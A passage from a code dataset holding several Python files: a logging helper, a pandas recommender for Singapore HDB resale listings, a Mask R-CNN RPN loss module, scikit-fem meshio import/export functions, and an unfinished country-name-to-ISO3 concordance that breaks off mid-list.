....) functions\n\"\"\"\n\nimport os\nos.environ[\"PYTHONDONTWRITEBYTECODE\"] = \"1\"\nos.environ[\"PYTHONUNBUFFERED\"] = \"1\"\n# --------------------------------------\nimport sys\nif sys.version_info > (3,3):\n import importlib\n# --------------------------------------\nimport ipython_debug\nif sys.version_info > (3,3):\n importlib.reload(ipython_debug)\nelse:\n reload(ipython_debug)\nfrom ipython_debug import *\n# --------------------------------------\nimport mybag\nif sys.version_info > (3,3):\n importlib.reload(mybag)\nelse:\n reload(mybag)\nfrom mybag import *\n# --------------------------------------\n\n# --------------------------------------------------------------\ndef mylog(bag, message='', verbose=True, mask_log=True):\n \"\"\"\n # optionally prepends prefix to (all) lines of the message \n # and prints it out\n # options:\n # verbose (True of False) - if set to false, will not log\n # mask_log (True or False) - flag to mask (prepend) lines.\n # note: default value of the prefix_string 'mask_log'\n # can be changed by defining bag.mask_log_str\n \"\"\"\n if not verbose:\n return\n mask_log_str = ''\n if mask_log:\n if test_avail(bag, \"mask_log_str\"):\n mask_log_str = bag.mask_log_str\n else:\n mask_log_str = 'mask_log'\n if len(mask_log_str):\n mask_log_str = mask_log_str + \" \"\n mystr = str(message)\n mylist = mystr.split(\"\\n\")\n output = \"\"\n for ss in mylist:\n output += mask_log_str + ss + \"\\n\"\n print(output.rstrip())\n\n# ---------------------------------------------------------------\ndef myerr(bag, message):\n \"\"\"\n # prints error message without masking it\n \"\"\"\n mylog(bag, message, mask_log=False)\n\n","sub_path":"se_crawler_2016/py_lib/mylog.py","file_name":"mylog.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"268058556","text":"import joblib\nimport pandas as pd, numpy as np\nfrom sqlalchemy import create_engine, desc\nfrom sklearn import preprocessing\nfrom sklearn.preprocessing import MinMaxScaler\n\n# def get_score(user_input):\n# #Coefficient based on user survey\n# #[Age of flat: 0.351351351, orchard_distance: 0.027027027, hawker_distance: 0.054054054, mall_distance: 0, mrt_distance: 0.567567568]\n# recommend_score = 0.351351351*(99 - pgDF.iloc[i]['RemainingLease']) + 1/(0.027027027*orchard_distance) + 1/(0.054054054*hawker_distance)+ 1/(0.567567568*mrt_distance)\n\ndef recommender_system(df_user_input):\n #Connect to database\n engine = create_engine(\"sqlite:///HDBResaleWeb/resaleproject.db\")\n\n #Query database\n query = \"SELECT * FROM prop_guru_table\"\n\n #SQL to pandas df\n df = pd.read_sql_query(query, engine)\n\n #Load MinMaxScaler used during scoring of all propguru listings\n scaler_filename = 'HDBResaleWeb/hdb_recommender_scaler.joblib'\n scaler = joblib.load(scaler_filename)\n\n df_user_input[['scaled_rem_lease', 'scaled_orchard_distance', 'scaled_hawker_distance', 'scaled_mall_distance', 'scaled_mrt_distance']] = scaler.transform(df_user_input[['remaining_lease', 'orchard_distance', 'hawker_distance', 'mall_distance', 'mrt_distance']])\n df_user_input[['scaled_orchard_distance', 'scaled_hawker_distance', 'scaled_mall_distance', 'scaled_mrt_distance']] = 1.0 - df_user_input[['scaled_orchard_distance', 'scaled_hawker_distance', 'scaled_mall_distance', 'scaled_mrt_distance']]\n\n df_user_input = df_user_input.assign(recommend_score = 0.2342342342*df_user_input.scaled_rem_lease + 0.1261261261*df_user_input.scaled_orchard_distance + 0.1846846847*df_user_input.scaled_hawker_distance + 0.1657657658*df_user_input.scaled_mall_distance + 0.2891891892*df_user_input.scaled_mrt_distance)\n\n\n #Best match - Most similar to user search (Similar / Better scoring than user search)\n ###Outside the zone - surprise factor ###\n #Filter based on user Input (hard filter)\n filter_postal_district = (df[\"postal_district\"] != df_user_input['postal_district'][0])\n filter_flat_type = (df[\"flat_type\"] == df_user_input['flat_type'][0])\n filter_score = (df[\"recommend_score\"] > df_user_input['recommend_score'][0])\n filter_maxprice = (df[\"resale_price\"] < df_user_input['listing_price'][0] + 26000)\n filter_remaininglease = (df[\"remaining_lease\"] > df_user_input['remaining_lease'][0] - 5)\n\n df_best_match_1 = df[filter_postal_district & filter_flat_type & filter_score & filter_maxprice & filter_remaininglease].copy()\n\n #Drop listing with same listing name and resale price\n df_best_match_1.drop_duplicates(subset=['listing_name','resale_price'], inplace=True, keep='last')\n df_best_match_1 = df_best_match_1.sort_values('recommend_score', ascending=False).head(3)\n #If listing than than 3\n if len(df_best_match_1) < 3: \n df_best_match_2 = df[filter_flat_type & filter_score & filter_maxprice & filter_remaininglease].copy()\n #Drop listing with same listing name and resale price\n df_best_match_2.drop_duplicates(subset=['listing_name','resale_price'], inplace=True, keep='last')\n df_best_match_2 = df_best_match_2.sort_values('recommend_score', ascending=False).head(3 - len(df_best_match_1))\n df_best_match = pd.concat([df_best_match_1, df_best_match_2])\n else:\n df_best_match = df_best_match_1\n \n\n #Similar Size, Better Price (Similar)\n ###Within the same zone - Size +10, Price < user input###\n #Filter based on user Input (hard filter)\n filter_postal_district = (df[\"postal_district\"] == df_user_input['postal_district'][0])\n filter_floor_area_sqm = (df[\"floor_area_sqm\"].between(df_user_input['floor_area_sqm'][0] * 0.9, df_user_input['floor_area_sqm'][0] * 1.1))\n filter_maxprice = (df[\"resale_price\"] < df_user_input['listing_price'][0])\n \n df_cheaper_price_1 = df[filter_postal_district & filter_floor_area_sqm & filter_score & filter_maxprice].copy()\n #Drop listing with same listing name and resale price\n df_cheaper_price_1.drop_duplicates(subset=['listing_name','resale_price'], inplace=True, keep='last')\n df_cheaper_price_1 = df_cheaper_price_1.sort_values('resale_price', ascending=False).head(3)\n #If listing than than 3\n if len(df_cheaper_price_1) < 3: \n df_cheaper_price_2 = df[filter_floor_area_sqm & filter_score & filter_maxprice].copy()\n #Drop listing with same listing name and resale price\n df_cheaper_price_2.drop_duplicates(subset=['listing_name','resale_price'], inplace=True, keep='last')\n df_cheaper_price_2 = df_cheaper_price_2.sort_values('resale_price', ascending=False).head(3 - len(df_cheaper_price_1))\n df_cheaper_price = pd.concat([df_cheaper_price_1, df_cheaper_price_2])\n else:\n df_cheaper_price = df_cheaper_price_1\n\n\n #Similar Price, Bigger House (Similar)\n ###Within the same zone - Size > user input, Price +- 26000###\n #Filter based on user Input (hard filter)\n filter_postal_district = (df[\"postal_district\"] == df_user_input['postal_district'][0])\n filter_floor_area_sqm = (df[\"floor_area_sqm\"] >= df_user_input['floor_area_sqm'][0])\n filter_maxprice = (df[\"resale_price\"].between(df_user_input['listing_price'][0] - 26000, df_user_input['listing_price'][0] + 26000))\n \n df_bigger_house_1 = df[filter_postal_district & filter_score & filter_floor_area_sqm & filter_maxprice].copy()\n #Drop listing with same listing name and resale price\n df_bigger_house_1.drop_duplicates(subset=['listing_name','resale_price'], inplace=True, keep='last')\n df_bigger_house_1 = df_bigger_house_1.sort_values('floor_area_sqm', ascending=False).head(3)\n #If listing than than 3\n if len(df_bigger_house_1) < 3: \n df_bigger_house_2 = df[filter_floor_area_sqm & filter_score & filter_maxprice].copy()\n df_bigger_house_2 = df_bigger_house_2.sort_values('floor_area_sqm', ascending=False).head(3 - len(df_bigger_house_1))\n df_bigger_house = pd.concat([df_bigger_house_1, df_bigger_house_2])\n else:\n df_bigger_house = df_bigger_house_1\n\n return df_best_match, df_cheaper_price, df_bigger_house","sub_path":"HDBResaleWeb/recommendation.py","file_name":"recommendation.py","file_ext":"py","file_size_in_byte":6183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"378520367","text":"# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.\n# Copyright (c) 2018-2019 NVIDIA CORPORATION. All rights reserved.\n\"\"\"\nThis file contains specific functions for computing losses on the RPN\nfile\n\"\"\"\nimport torch\nfrom torch.nn import functional as F\nfrom torch.nn.utils.rnn import pad_sequence\nfrom .utils import concat_box_prediction_layers\n\nfrom ..balanced_positive_negative_sampler import BalancedPositiveNegativeSampler\nfrom ..utils import cat\n\nfrom maskrcnn_benchmark.layers import smooth_l1_loss\nfrom maskrcnn_benchmark.modeling.matcher import Matcher\nfrom maskrcnn_benchmark.structures.boxlist_ops import boxlist_iou, boxlist_iou_batched\nfrom maskrcnn_benchmark.structures.boxlist_ops import cat_boxlist\n\n\nclass RPNLossComputation(object):\n \"\"\"\n This class computes the RPN loss.\n \"\"\"\n\n def __init__(self, proposal_matcher, fg_bg_sampler, box_coder,\n generate_labels_func):\n \"\"\"\n Arguments:\n proposal_matcher (Matcher)\n fg_bg_sampler (BalancedPositiveNegativeSampler)\n box_coder (BoxCoder)\n \"\"\"\n # self.target_preparator = target_preparator\n self.proposal_matcher = proposal_matcher\n self.fg_bg_sampler = fg_bg_sampler\n self.box_coder = box_coder\n self.copied_fields = []\n self.generate_labels_func = generate_labels_func\n self.discard_cases = ['not_visibility', 'between_thresholds']\n\n def match_targets_to_anchors(self, anchor, target, copied_fields=[]):\n match_quality_matrix = boxlist_iou(target, anchor)\n matched_idxs = self.proposal_matcher(match_quality_matrix)\n # RPN doesn't need any fields from target\n # for creating the labels, so clear them all\n target = target.copy_with_fields(copied_fields)\n # get the targets corresponding GT for each anchor\n # NB: need to clamp the indices because we can have a single\n # GT in the image, and matched_idxs can be -2, which goes\n # out of bounds\n\n matched_targets = target[matched_idxs.clamp(min=0)]\n matched_targets.add_field(\"matched_idxs\", matched_idxs)\n return matched_targets\n\n def match_targets_to_anchors_batched(self, anchor, target, copied_fields=[]):\n match_quality_matrix = boxlist_iou_batched(target, anchor)\n matched_idxs = self.proposal_matcher(match_quality_matrix, batched=1)\n # RPN doesn't need any fields from target\n # for creating the labels, so clear them all\n # target = target.copy_with_fields(copied_fields)\n # get the targets corresponding GT for each anchor\n # NB: need to clamp the indices because we can have a single\n # GT in the image, and matched_idxs can be -2, which goes\n # out of bounds\n return matched_idxs\n\n def prepare_targets(self, anchors, targets):\n labels = []\n regression_targets = []\n for anchors_per_image, targets_per_image in zip(anchors, targets):\n matched_targets = self.match_targets_to_anchors(\n anchors_per_image, targets_per_image, self.copied_fields\n )\n\n matched_idxs = matched_targets.get_field(\"matched_idxs\")\n labels_per_image = self.generate_labels_func(matched_targets)\n labels_per_image = labels_per_image.to(dtype=torch.float32)\n\n # Background (negative examples)\n bg_indices = matched_idxs == Matcher.BELOW_LOW_THRESHOLD\n labels_per_image.masked_fill_(bg_indices, 0)\n\n # discard anchors that go out of the boundaries of the image\n if \"not_visibility\" in self.discard_cases:\n labels_per_image.masked_fill_(~anchors_per_image.get_field(\"visibility\"), -1)\n\n # discard indices that are between thresholds\n if \"between_thresholds\" in self.discard_cases:\n inds_to_discard = matched_idxs == Matcher.BETWEEN_THRESHOLDS\n labels_per_image.masked_fill_(inds_to_discard, -1)\n\n # compute regression targets\n regression_targets_per_image = self.box_coder.encode(\n matched_targets.bbox, anchors_per_image.bbox\n )\n\n labels.append(labels_per_image)\n regression_targets.append(regression_targets_per_image)\n\n return labels, regression_targets\n\n def prepare_targets_batched(self, anchors, targets, anchors_visibility):\n\n matched_idxs = self.match_targets_to_anchors_batched(anchors, targets)\n labels = generate_rpn_labels2(matched_idxs) \n labels = labels.to(dtype=torch.float32)\n\n bg_indices = matched_idxs == Matcher.BELOW_LOW_THRESHOLD\n labels.masked_fill_(bg_indices, 0)\n\n # discard anchors that go out of the boundaries of the image\n if \"not_visibility\" in self.discard_cases:\n labels.masked_fill_(anchors_visibility==0, -1)\n\n # discard indices that are between thresholds\n if \"between_thresholds\" in self.discard_cases:\n inds_to_discard = matched_idxs == Matcher.BETWEEN_THRESHOLDS\n labels.masked_fill_(inds_to_discard, -1)\n\n img_idx = torch.arange(anchors.size(0), device = anchors.device)[:, None]\n matched_targets = targets[img_idx, matched_idxs.clamp(min=0)]\n\n # compute regression targets\n regression_targets = self.box_coder.encode(\n matched_targets.view(-1,4), anchors.view(-1,4)\n )\n return labels.view(-1), regression_targets\n\n def __call__(self, anchors, objectness, box_regression, targets):\n \"\"\"\n Arguments:\n anchors (list[BoxList])\n objectness (list[Tensor])\n box_regression (list[Tensor])\n targets (list[BoxList])\n\n Returns:\n objectness_loss (Tensor)\n box_loss (Tensor\n \"\"\"\n anchors_cat = anchors[0]\n num_images = len(anchors[2])\n N = anchors_cat.size(0)\n anchors_visibility = anchors[1]\n device = anchors_cat.device\n targets_cat = pad_sequence([target.bbox for target in targets], batch_first=True, padding_value=-1)\n labels, regression_targets = self.prepare_targets_batched(anchors_cat, targets_cat, anchors_visibility)\n sampled_pos_inds, sampled_neg_inds = self.fg_bg_sampler(labels.view(N,-1), is_rpn=1)\n if num_images == 1:\n # sampled pos inds only has 1 element if num_images is 1, so avoid torch.cat\n sampled_pos_inds = torch.nonzero(sampled_pos_inds[0]).squeeze(1)\n sampled_neg_inds = torch.nonzero(sampled_neg_inds[0]).squeeze(1)\n sampled_inds = torch.cat([sampled_pos_inds, sampled_neg_inds], dim=0)\n\n objectness, box_regression = \\\n concat_box_prediction_layers(objectness, box_regression)\n\n objectness = objectness.squeeze()\n\n box_loss = smooth_l1_loss(\n box_regression.index_select(0, sampled_pos_inds),\n regression_targets.index_select(0, sampled_pos_inds),\n beta=1.0 / 9,\n size_average=False,\n ) / (sampled_inds.numel())\n\n objectness_loss = F.binary_cross_entropy_with_logits(\n objectness.index_select(0, sampled_inds), labels.index_select(0, sampled_inds)\n )\n return objectness_loss, box_loss\n\n# This function should be overwritten in RetinaNet\ndef generate_rpn_labels(matched_targets):\n matched_idxs = matched_targets.get_field(\"matched_idxs\")\n labels_per_image = matched_idxs >= 0\n return labels_per_image\n\ndef generate_rpn_labels2(matched_idxs):\n # matched_idxs = matched_targets.get_field(\"matched_idxs\")\n labels = matched_idxs >= 0\n return labels\n\ndef make_rpn_loss_evaluator(cfg, box_coder):\n matcher = Matcher(\n cfg.MODEL.RPN.FG_IOU_THRESHOLD,\n cfg.MODEL.RPN.BG_IOU_THRESHOLD,\n allow_low_quality_matches=True,\n )\n\n fg_bg_sampler = BalancedPositiveNegativeSampler(\n cfg.MODEL.RPN.BATCH_SIZE_PER_IMAGE, cfg.MODEL.RPN.POSITIVE_FRACTION\n )\n\n loss_evaluator = RPNLossComputation(\n matcher,\n fg_bg_sampler,\n box_coder,\n generate_rpn_labels\n )\n return loss_evaluator\n","sub_path":"DellEMC/benchmarks/maskrcnn/implementation/pytorch/maskrcnn_benchmark/modeling/rpn/loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":8181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"182933449","text":"\"\"\"Import/export any formats supported by meshio.\"\"\"\n\nimport meshio\nimport numpy as np\nimport skfem\n\n\nMESH_TYPE_MAPPING = {\n 'tetra': skfem.MeshTet1,\n 'tetra10': skfem.MeshTet2,\n 'hexahedron': skfem.MeshHex1,\n 'hexahedron27': skfem.MeshHex2,\n 'wedge': skfem.MeshWedge1,\n 'triangle': skfem.MeshTri1,\n 'triangle6': skfem.MeshTri2,\n 'quad': skfem.MeshQuad1,\n 'quad9': skfem.MeshQuad2,\n 'line': skfem.MeshLine1,\n}\n\nBOUNDARY_TYPE_MAPPING = {\n 'line': 'vertex',\n 'triangle': 'line',\n 'quad': 'line',\n 'tetra': 'triangle',\n 'hexahedron': 'quad',\n 'tetra10': 'triangle', # TODO support quadratic facets\n 'triangle6': 'line', # TODO\n 'quad9': 'line', # TODO\n 'hexahedron27': 'quad', # TODO\n}\n\nTYPE_MESH_MAPPING = {MESH_TYPE_MAPPING[k]: k\n for k in dict(reversed(list(MESH_TYPE_MAPPING.items())))}\n\n\nHEX_MAPPING = [0, 3, 6, 2, 1, 5, 7, 4,\n 10, 16, 14, 9, 12, 18, 17, 11, 8, 15, 19, 13,\n 20, 25, 22, 23, 21, 24,\n 26]\nINV_HEX_MAPPING = [HEX_MAPPING.index(i)\n for i in range(len(HEX_MAPPING))]\n\n\ndef from_meshio(m,\n out=None,\n int_data_to_sets=False,\n force_meshio_type=None):\n\n cells = m.cells_dict\n meshio_type = None\n\n if force_meshio_type is None:\n # detect 3D\n for k in cells:\n if k in {'tetra',\n 'hexahedron',\n 'tetra10',\n 'hexahedron27',\n 'wedge'}:\n meshio_type = k\n break\n\n if meshio_type is None:\n # detect 2D\n for k in cells:\n if k in {'triangle',\n 'quad',\n 'triangle6',\n 'quad9'}:\n meshio_type = k\n break\n\n if meshio_type is None:\n # detect 1D\n for k in cells:\n if k == 'line':\n meshio_type = k\n break\n else:\n meshio_type = force_meshio_type\n\n if meshio_type is None:\n raise NotImplementedError(\"Mesh type(s) not supported \"\n \"in import: {}.\".format(cells.keys()))\n\n mesh_type = MESH_TYPE_MAPPING[meshio_type]\n\n # create p and t\n p = np.ascontiguousarray(mesh_type.strip_extra_coordinates(m.points).T)\n t = np.ascontiguousarray(cells[meshio_type].T)\n\n # reorder t if needed\n if meshio_type == 'hexahedron':\n t = t[INV_HEX_MAPPING[:8]]\n elif meshio_type == 'hexahedron27':\n t = t[INV_HEX_MAPPING]\n\n if int_data_to_sets:\n m.int_data_to_sets()\n\n subdomains = {}\n boundaries = {}\n\n # parse any subdomains from cell_sets\n if m.cell_sets:\n subdomains = {k: v[meshio_type]\n for k, v in m.cell_sets_dict.items()\n if meshio_type in v}\n\n # create temporary mesh for matching boundary elements\n mtmp = mesh_type(p, t)\n bnd_type = BOUNDARY_TYPE_MAPPING[meshio_type]\n\n # parse boundaries from cell_sets\n if m.cell_sets and bnd_type in m.cells_dict:\n facets = {\n k: [tuple(f) for f in np.sort(m.cells_dict[bnd_type][v[bnd_type]])]\n for k, v in m.cell_sets_dict.items()\n if bnd_type in v and k.split(\":\")[0] != \"gmsh\"\n }\n boundaries = {k: np.array([i for i, f in\n enumerate(map(tuple, mtmp.facets.T))\n if f in v])\n for k, v in facets.items()}\n\n # MSH 2.2 tag parsing\n if m.cell_data and m.field_data:\n try:\n elements_tag = m.cell_data_dict['gmsh:physical'][meshio_type]\n subdomains = {}\n tags = np.unique(elements_tag)\n\n def find_tagname(tag):\n for key in m.field_data:\n if m.field_data[key][0] == tag:\n return key\n return None\n\n for tag in tags:\n t_set = np.nonzero(tag == elements_tag)[0]\n subdomains[find_tagname(tag)] = t_set\n\n # find tagged boundaries\n if bnd_type in m.cell_data_dict['gmsh:physical']:\n facets = m.cells_dict[bnd_type]\n facets_tag = m.cell_data_dict['gmsh:physical'][bnd_type]\n\n # put meshio facets to dict\n dic = {tuple(np.sort(facets[i])): facets_tag[i]\n for i in range(facets.shape[0])}\n\n # get index of corresponding Mesh.facets for each meshio\n # facet found in the dict\n index = np.array([[dic[tuple(np.sort(mtmp.facets[:, i]))], i]\n for i in mtmp.boundary_facets()\n if tuple(np.sort(mtmp.facets[:, i])) in dic])\n\n # read meshio tag numbers and names\n tags = index[:, 0]\n boundaries = {}\n for tag in np.unique(tags):\n tagindex = np.nonzero(tags == tag)[0]\n boundaries[find_tagname(tag)] = index[tagindex, 1]\n\n except Exception:\n pass\n\n # attempt parsing skfem tags\n if m.cell_data:\n _boundaries, _subdomains = mtmp._decode_cell_data(m.cell_data)\n boundaries.update(_boundaries)\n subdomains.update(_subdomains)\n\n # export mesh data\n if out is not None and isinstance(out, list):\n for i, field in enumerate(out):\n out[i] = getattr(m, field)\n\n return mesh_type(\n p,\n t,\n None if len(boundaries) == 0 else boundaries,\n None if len(subdomains) == 0 else subdomains,\n )\n\n\ndef from_file(filename, out, **kwargs):\n return from_meshio(meshio.read(filename), out, **kwargs)\n\n\ndef to_meshio(mesh,\n point_data=None,\n cell_data=None,\n encode_cell_data=True,\n encode_point_data=False):\n\n t = mesh.dofs.element_dofs.copy()\n if isinstance(mesh, skfem.MeshHex2):\n t = t[HEX_MAPPING]\n elif isinstance(mesh, skfem.MeshHex):\n t = t[HEX_MAPPING[:8]]\n\n mtype = TYPE_MESH_MAPPING[type(mesh)]\n cells = {mtype: t.T}\n\n if encode_cell_data:\n if cell_data is None:\n cell_data = {}\n cell_data.update(mesh._encode_cell_data())\n\n if encode_point_data:\n if point_data is None:\n point_data = {}\n point_data.update(mesh._encode_point_data())\n\n mio = meshio.Mesh(\n mesh.p.T,\n cells,\n point_data=point_data,\n cell_data=cell_data,\n )\n\n return mio\n\n\ndef to_file(mesh,\n filename,\n point_data=None,\n cell_data=None,\n encode_cell_data=True,\n encode_point_data=False,\n **kwargs):\n\n meshio.write(filename,\n to_meshio(mesh,\n point_data,\n cell_data,\n encode_cell_data,\n encode_point_data),\n **kwargs)\n","sub_path":"skfem/io/meshio.py","file_name":"meshio.py","file_ext":"py","file_size_in_byte":7062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"652722866","text":"\"\"\"\nNBER Feenstra Special Concordances\n==================================\n\nThis module contains special concordances used in NBER Feenstra Analysis\n\nSTATUS: IN-WORK\n\nNotes\n------\n1. ISO3C \t=> \tISO 3166-1-alpha3\n\"\"\"\n\n# ------------------------------------- #\n# - Manually Constructed Concordances - #\n# ------------------------------------- #\n\n# - Exporters to ISO3C - #\n\nCountryNameToISO3C = {\t'Afghanistan' \t: 'AFG',\n\t\t\t\t\t\t'Afr.Other NS' \t: '.',\n\t\t\t\t\t\t'Africa N.NES'\t: '.',\n\t\t\t\t\t\t'Albania' \t\t: 'ALB',\n\t\t\t\t\t\t\n\t\t\t\t\t\t# - Working Here - #\n\n\t\t\t\t\t\t# 'Algeria' \t\t: ''\n\t\t\t\t\t\t# 'Angola',\n\t\t\t\t\t\t# 'Areas NES',\n\t\t\t\t\t\t# 'Argentina',\n\t\t\t\t\t\t# 'Armenia',\n\t\t\t\t\t\t# 'Asia NES',\n\t\t\t\t\t\t# 'Asia West NS',\n\t\t\t\t\t\t# 'Australia',\n\t\t\t\t\t\t# 'Austria',\n\t\t\t\t\t\t# 'Azerbaijan',\n\t\t\t\t\t\t# 'Bahamas',\n\t\t\t\t\t\t# 'Bahrain',\n\t\t\t\t\t\t# 'Bangladesh',\n\t\t\t\t\t\t# 'Barbados',\n\t\t\t\t\t\t# 'Belarus',\n\t\t\t\t\t\t# 'Belgium-Lux',\n\t\t\t\t\t\t# 'Belize',\n\t\t\t\t\t\t# 'Benin',\n\t\t\t\t\t\t# 'Bermuda',\n\t\t\t\t\t\t# 'Bolivia',\n\t\t\t\t\t\t# 'Bosnia Herzg',\n\t\t\t\t\t\t# 'Br.Antr.Terr',\n\t\t\t\t\t\t# 'Brazil',\n\t\t\t\t\t\t# 'Bulgaria',\n\t\t\t\t\t\t# 'Burkina Faso',\n\t\t\t\t\t\t# 'Burundi',\n\t\t\t\t\t\t# 'CACM NES',\n\t\t\t\t\t\t# 'Cambodia',\n\t\t\t\t\t\t# 'Cameroon',\n\t\t\t\t\t\t# 'Canada',\n\t\t\t\t\t\t# 'Carib. NES',\n\t\t\t\t\t\t# 'Cent.Afr.Rep',\n\t\t\t\t\t\t# 'Chad',\n\t\t\t\t\t\t# 'Chile',\n\t\t\t\t\t\t# 'China',\n\t\t\t\t\t\t# 'China FTZ',\n\t\t\t\t\t\t# 'China HK SAR',\n\t\t\t\t\t\t# 'China MC SAR',\n\t\t\t\t\t\t# 'China SC',\n\t\t\t\t\t\t# 'Colombia',\n\t\t\t\t\t\t# 'Congo',\n\t\t\t\t\t\t# 'Costa Rica',\n\t\t\t\t\t\t# 'Cote Divoire',\n\t\t\t\t\t\t# 'Croatia',\n\t\t\t\t\t\t# 'Cuba',\n\t\t\t\t\t\t# 'Cyprus',\n\t\t\t\t\t\t# 'Czech Rep',\n\t\t\t\t\t\t# 'Czechoslovak',\n\t\t\t\t\t\t# 'Dem.Rp.Congo',\n\t\t\t\t\t\t# 'Denmark',\n\t\t\t\t\t\t# 'Djibouti',\n\t\t\t\t\t\t# 'Dominican Rp',\n\t\t\t\t\t\t# 'E Europe NES',\n\t\t\t\t\t\t# 'EEC NES',\n\t\t\t\t\t\t# 'Ecuador',\n\t\t\t\t\t\t# 'Egypt',\n\t\t\t\t\t\t# 'El Salvador',\n\t\t\t\t\t\t# 'Eq.Guinea',\n\t\t\t\t\t\t# 'Estonia',\n\t\t\t\t\t\t# 'Ethiopia',\n\t\t\t\t\t\t# 'Eur. EFTA NS',\n\t\t\t\t\t\t# 'Eur.Other NE',\n\t\t\t\t\t\t# 'Falkland Is',\n\t\t\t\t\t\t# 'Fiji',\n\t\t\t\t\t\t# 'Finland',\n\t\t\t\t\t\t# 'Fm German DR',\n\t\t\t\t\t\t# 'Fm German FR',\n\t\t\t\t\t\t# 'Fm USSR',\n\t\t\t\t\t\t# 'Fm Yemen AR',\n\t\t\t\t\t\t# 'Fm Yemen Ar',\n\t\t\t\t\t\t# 'Fm Yemen Dm',\n\t\t\t\t\t\t# 'Fm Yugoslav',\n\t\t\t\t\t\t# 'Fr Ind O',\n\t\t\t\t\t\t# 'Fr.Guiana',\n\t\t\t\t\t\t# 'France,Monac',\n\t\t\t\t\t\t# 'Gabon',\n\t\t\t\t\t\t# 'Gambia',\n\t\t\t\t\t\t# 'Georgia',\n\t\t\t\t\t\t# 'Germany',\n\t\t\t\t\t\t# 'Ghana',\n\t\t\t\t\t\t# 'Gibraltar',\n\t\t\t\t\t\t# 'Greece',\n\t\t\t\t\t\t# 'Greenland',\n\t\t\t\t\t\t# 'Guadeloupe',\n\t\t\t\t\t\t# 'Guatemala',\n\t\t\t\t\t\t# 'Guinea',\n\t\t\t\t\t\t# 'GuineaBissau',\n\t\t\t\t\t\t# 'Guyana',\n\t\t\t\t\t\t# 'Haiti',\n\t\t\t\t\t\t# 'Honduras',\n\t\t\t\t\t\t# 'Hungary',\n\t\t\t\t\t\t# 'Iceland',\n\t\t\t\t\t\t# 'India',\n\t\t\t\t\t\t# 'Indonesia',\n\t\t\t\t\t\t# 'Int Org',\n\t\t\t\t\t\t# 'Iran',\n\t\t\t\t\t\t# 'Iraq',\n\t\t\t\t\t\t# 'Ireland',\n\t\t\t\t\t\t# 'Israel',\n\t\t\t\t\t\t# 'Italy',\n\t\t\t\t\t\t# 'Jamaica',\n\t\t\t\t\t\t# 'Japan',\n\t\t\t\t\t\t# 'Jordan',\n\t\t\t\t\t\t# 'Kazakhstan',\n\t\t\t\t\t\t# 'Kenya',\n\t\t\t\t\t\t# 'Kiribati',\n\t\t\t\t\t\t# 'Korea D P Rp',\n\t\t\t\t\t\t# 'Korea Rep.',\n\t\t\t\t\t\t# 'Kuwait',\n\t\t\t\t\t\t# 'Kyrgyzstan',\n\t\t\t\t\t\t# 'LAIA NES',\n\t\t\t\t\t\t# 'Lao P.Dem.R',\n\t\t\t\t\t\t# 'Latvia',\n\t\t\t\t\t\t# 'Lebanon',\n\t\t\t\t\t\t# 'Liberia',\n\t\t\t\t\t\t# 'Libya',\n\t\t\t\t\t\t# 'Lithuania',\n\t\t\t\t\t\t# 'Madagascar',\n\t\t\t\t\t\t# 'Malawi',\n\t\t\t\t\t\t# 'Malaysia',\n\t\t\t\t\t\t# 'Mali',\n\t\t\t\t\t\t# 'Malta',\n\t\t\t\t\t\t# 'Mauritania',\n\t\t\t\t\t\t# 'Mauritius',\n\t\t\t\t\t\t# 'Mexico',\n\t\t\t\t\t\t# 'Mongolia',\n\t\t\t\t\t\t# 'Morocco',\n\t\t\t\t\t\t# 'Mozambique',\n\t\t\t\t\t\t# 'Myanmar',\n\t\t\t\t\t\t# 'Nepal',\n\t\t\t\t\t\t# 'Neth.Ant.Aru',\n\t\t\t\t\t\t# 'Netherlands',\n\t\t\t\t\t\t# 'Neutral Zone',\n\t\t\t\t\t\t# 'New Calednia',\n\t\t\t\t\t\t# 'New Zealand',\n\t\t\t\t\t\t# 'Nicaragua',\n\t\t\t\t\t\t# 'Niger',\n\t\t\t\t\t\t# 'Nigeria',\n\t\t\t\t\t\t# 'Norway',\n\t\t\t\t\t\t# 'Occ.Pal.Terr',\n\t\t\t\t\t\t# 'Oman',\n\t\t\t\t\t\t# 'Oth.Oceania',\n\t\t\t\t\t\t# 'Pakistan',\n\t\t\t\t\t\t# 'Panama',\n\t\t\t\t\t\t# 'Papua N.Guin',\n\t\t\t\t\t\t# 'Paraguay',\n\t\t\t\t\t\t# 'Peru',\n\t\t\t\t\t\t# 'Philippines',\n\t\t\t\t\t\t# 'Poland',\n\t\t\t\t\t\t# 'Portugal',\n\t\t\t\t\t\t# 'Qatar',\n\t\t\t\t\t\t# 'Rep Moldova',\n\t\t\t\t\t\t# 'Romania',\n\t\t\t\t\t\t# 'Russian Fed',\n\t\t\t\t\t\t# 'Rwanda',\n\t\t\t\t\t\t# 'Samoa',\n\t\t\t\t\t\t# 'Saudi Arabia',\n\t\t\t\t\t\t# 'Senegal',\n\t\t\t\t\t\t# 'Seychelles',\n\t\t\t\t\t\t# 'Sierra Leone',\n\t\t\t\t\t\t# 'Singapore',\n\t\t\t\t\t\t# 'Slovakia',\n\t\t\t\t\t\t# 'Slovenia',\n\t\t\t\t\t\t# 'Somalia',\n\t\t\t\t\t\t# 'South Africa',\n\t\t\t\t\t\t# 'Spain',\n\t\t\t\t\t\t# 'Sri Lanka',\n\t\t\t\t\t\t# 'St.Helena',\n\t\t\t\t\t\t# 'St.Kt-Nev-An',\n\t\t\t\t\t\t# 'St.Pierre Mq',\n\t\t\t\t\t\t# 'Sudan',\n\t\t\t\t\t\t# 'Suriname',\n\t\t\t\t\t\t# 'Sweden',\n\t\t\t\t\t\t# 'Switz.Liecht',\n\t\t\t\t\t\t# 'Syria',\n\t\t\t\t\t\t# 'TFYR Macedna',\n\t\t\t\t\t\t# 'Taiwan',\n\t\t\t\t\t\t# 'Tajikistan',\n\t\t\t\t\t\t# 'Tanzania',\n\t\t\t\t\t\t# 'Thailand',\n\t\t\t\t\t\t# 'Togo',\n\t\t\t\t\t\t# 'Trinidad Tbg',\n\t\t\t\t\t\t# 